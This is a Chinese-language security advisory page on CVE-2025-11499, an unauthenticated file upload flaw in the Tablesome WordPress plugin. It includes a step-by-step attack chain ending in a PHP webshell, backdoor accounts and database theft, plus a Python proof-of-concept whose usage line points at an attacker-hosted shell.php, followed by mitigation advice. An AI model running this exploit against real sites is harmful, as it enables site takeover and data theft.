IPBUF安全漏洞报告
English
CVE-2025-11499 CVSS 9.8 严重

CVE-2025-11499: Tablesome WordPress插件任意文件上传漏洞

披露日期: 2025-11-01

漏洞信息

漏洞编号
CVE-2025-11499
漏洞类型
任意文件上传/远程代码执行
CVSS评分
9.8 严重
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Tablesome Table – Contact Form DB WordPress Plugin (WPForms, CF7, Gravity, Forminator, Fluent)

相关标签

CVE-2025-11499任意文件上传远程代码执行WordPress插件漏洞TablesomeWordPress安全未授权访问CVSS 9.8严重漏洞

漏洞概述

CVE-2025-11499是WordPress Tablesome插件中的一个严重安全漏洞,CVSS评分高达9.8分(满分10分)。该漏洞存在于set_featured_image_from_external_url()函数中,由于缺少文件类型验证,允许未认证攻击者上传任意文件到受感染网站的服务器。此漏洞影响Tablesome插件1.1.32及之前的所有版本。Tablesome是一款流行的WordPress联系表单数据库插件,支持WPForms、Contact Form 7、Gravity Forms、Forminator和Fluent Forms等主流表单插件。在特定配置下,当工作流触发器被创建且未认证用户可以使用添加特色图片功能时,攻击者可利用此漏洞上传恶意文件(如PHP脚本),最终实现远程代码执行,从而完全控制受影响的WordPress网站。漏洞于2025年11月1日被披露,发现者为Wordfence安全团队。由于该插件在WordPress生态中广泛应用,此漏洞可能影响大量网站,建议管理员立即采取修复措施。

技术细节

该漏洞的根本原因在于Tablesome插件的set_featured_image_from_external_url()函数缺少对上传文件类型的有效验证。攻击者可以构造恶意请求,指定一个外部URL作为图片来源,插件会下载并保存该文件到服务器,而没有检查文件扩展名、MIME类型或文件内容。在WordPress的典型配置中,uploads目录通常具有可执行权限,攻击者可以上传包含PHP代码的恶意文件(如shell.php),然后通过HTTP请求访问该文件来执行任意系统命令。此外,如果网站配置了允许未认证用户创建工作流触发器并添加特色图片,攻击者无需任何凭据即可利用此漏洞。整个攻击过程简单直接,无需高级技术知识即可实施。修复版本1.1.33已添加适当的文件类型验证和内容检查机制。

攻击链分析

STEP 1
1
信息收集:扫描目标网站,确认Tablesome插件版本<=1.1.32且工作流功能已启用
STEP 2
2
准备恶意文件:创建包含PHP webshell的恶意文件(如shell.php)并托管在攻击者控制的服务器上
STEP 3
3
构造漏洞利用请求:向/wp-admin/admin-ajax.php发送POST请求,action参数设置为tablesome_set_featured_image,image_url参数指向恶意文件URL
STEP 4
4
文件上传:插件的set_featured_image_from_external_url()函数下载恶意文件并保存到wp-content/uploads/目录,由于缺少文件类型验证,PHP文件可直接上传
STEP 5
5
远程代码执行:通过HTTP请求访问上传的恶意PHP文件(如http://target.com/wp-content/uploads/2025/xx/shell.php),执行任意系统命令
STEP 6
6
权限维持:攻击者可创建后门账户、上传更多恶意工具或窃取数据库敏感信息,完全控制WordPress网站

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import sys # CVE-2025-11499 PoC - Arbitrary File Upload in Tablesome WordPress Plugin # Target: WordPress site with Tablesome plugin <= 1.1.32 def exploit(target_url, attacker_file_url): """ Exploit the arbitrary file upload vulnerability in Tablesome plugin. Args: target_url: Base URL of the vulnerable WordPress site attacker_file_url: URL of the malicious file to upload Note: Requires a workflow trigger to be created and external URL feature enabled """ # Endpoint for setting featured image from external URL endpoint = f"{target_url}/wp-admin/admin-ajax.php" # Construct the malicious request data = { 'action': 'tablesome_set_featured_image', 'image_url': attacker_file_url, 'post_id': 1 # May vary depending on configuration } try: response = requests.post(endpoint, data=data, timeout=30) if response.status_code == 200: print(f"[+] Request sent successfully") print(f"[+] Response: {response.text}") # If successful, the malicious file will be uploaded to /wp-content/uploads/ return True else: print(f"[-] Request failed with status: {response.status_code}") return False except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") return False if __name__ == "__main__": if len(sys.argv) < 3: print("Usage: python cve-2025-11499.py <target_url> <malicious_file_url>") print("Example: python cve-2025-11499.py http://example.com http://attacker.com/shell.php") sys.exit(1) target = sys.argv[1] malicious_file = sys.argv[2] exploit(target, malicious_file)

影响范围

Tablesome WordPress Plugin <= 1.1.32

防御指南

临时缓解措施
在无法立即升级插件的情况下,可采取以下临时缓解措施:1) 在Web服务器配置中禁止wp-content/uploads目录执行PHP脚本(添加deny from all规则);2) 临时禁用工作流功能或限制只有管理员可以创建工作流触发器;3) 使用WordPress安全插件(如Wordfence)添加临时防护规则;4) 考虑暂时禁用Tablesome插件直到完成升级。同时建议检查wp-content/uploads目录是否存在可疑文件,并加强网站监控以便及时发现异常活动。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表